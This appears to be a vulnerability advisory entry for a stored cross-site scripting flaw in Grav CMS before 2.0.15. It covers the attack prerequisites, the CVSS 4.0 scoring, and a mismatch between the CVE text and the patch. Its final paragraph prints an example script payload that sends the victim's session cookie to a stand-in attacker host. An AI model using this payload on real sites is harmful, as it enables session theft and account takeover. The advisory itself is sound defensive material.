Grav CMS EUVD-2026-60595

The attacker must hold a low-privileged account with permission to create or edit pages containing media (audio or video) in Grav CMS - anonymous unauthenticated access is insufficient. A victim (such as an administrator or any authenticated user with access to the page) must subsequently view the crafted page, providing the required passive user interaction (UI:P in the CVSS 4.0 vector). Exploitation is limited to Grav installations running versions prior to 2.0.15. The co-patched image resize CSS injection variant further requires that image resize parameters are reachable from Markdown page content (the default configuration), but that vector results only in CSS injection, not arbitrary JavaScript execution. Neither variant requires any special server-side configuration beyond a functional Grav instance with standard media support enabled.

The CVSS 4.0 score of 5.1 (Medium) accurately reflects the constrained exploitation path: PR:L requires the attacker to hold a content-editor account, and UI:P requires a victim to passively view the malicious page - two sequential prerequisites that substantially reduce real-world risk compared to a fully unauthenticated stored XSS. The subsequent-system impact metrics (SC:L/SI:L) reflect limited browser-session compromise rather than server-side control. No KEV listing exists and no public POC has been identified, consistent with a moderate-priority issue. EPSS data was not provided, so probabilistic exploitation risk cannot be quantified. One notable discrepancy exists: the CVE description attributes the flaw to audio/video media via sourceParsedownElement and URL fragment concatenation, while the commit diff and CHANGELOG focus exclusively on a CSS injection via image resize (GHSA-ffmg-hfvg-jhg9) - defenders should verify with the vendor advisory (GHSA-6qw9-4vv5-jr97) whether both vectors are addressed in 2.0.15 or whether the audio/video XSS is a distinct unpatched surface.

An attacker with a low-privileged editor account on a Grav site crafts a Markdown page embedding an audio or video element whose URL contains a malicious JavaScript payload in the fragment (e.g., a media URL ending in #<script>document.location='https://attacker.example/steal?c='+document.cookie</script>). When an administrator or authenticated visitor navigates to the page, the unsanitised fragment is rendered into the HTML by sourceParsedownElement, causing the injected script to execute in the victim's browser and exfiltrate their session cookie. No public POC has been identified, but the attack requires only standard browser HTTP and a valid editor credential.